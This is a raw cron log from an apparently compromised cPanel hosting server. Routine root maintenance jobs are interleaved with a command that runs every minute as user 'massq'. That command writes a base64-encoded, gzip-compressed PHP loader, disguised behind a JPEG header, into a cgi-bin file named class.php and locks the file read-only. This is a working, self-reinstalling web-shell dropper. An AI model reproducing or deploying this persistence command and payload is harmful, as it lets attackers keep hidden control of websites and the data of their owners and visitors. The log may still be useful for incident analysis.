Sep  4 16:27:01 server CROND[2202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:27:01 server CROND[2201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:28:01 server CROND[2697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:28:01 server CROND[2698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:28:01 server CROND[2699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:29:01 server CROND[3076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:29:01 server CROND[3078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:29:01 server CROND[3077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:30:01 server CROND[3452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:30:01 server CROND[3454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:30:01 server CROND[3458]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 16:30:01 server CROND[3460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:30:01 server CROND[3459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:30:01 server CROND[3461]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:30:01 server CROND[3462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:30:01 server CROND[3463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:30:01 server CROND[3457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:31:01 server CROND[4286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:31:01 server CROND[4287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:31:01 server CROND[4288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:32:01 server CROND[4653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:32:01 server CROND[4654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:32:01 server CROND[4655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:33:01 server CROND[5036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:33:01 server CROND[5038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:33:01 server CROND[5037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:34:01 server CROND[5500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:34:01 server CROND[5501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:34:01 server CROND[5502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:35:01 server CROND[5886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:35:01 server CROND[5888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:35:01 server CROND[5890]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 16:35:01 server CROND[5891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:35:01 server CROND[5894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:35:01 server CROND[5893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:35:01 server CROND[5896]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:35:01 server CROND[5895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:35:01 server CROND[5892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:36:01 server CROND[6742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:36:01 server CROND[6743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:36:01 server CROND[6744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:37:01 server CROND[7162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:37:01 server CROND[7163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:37:01 server CROND[7165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:38:01 server CROND[7560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:38:01 server CROND[7561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:38:01 server CROND[7562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
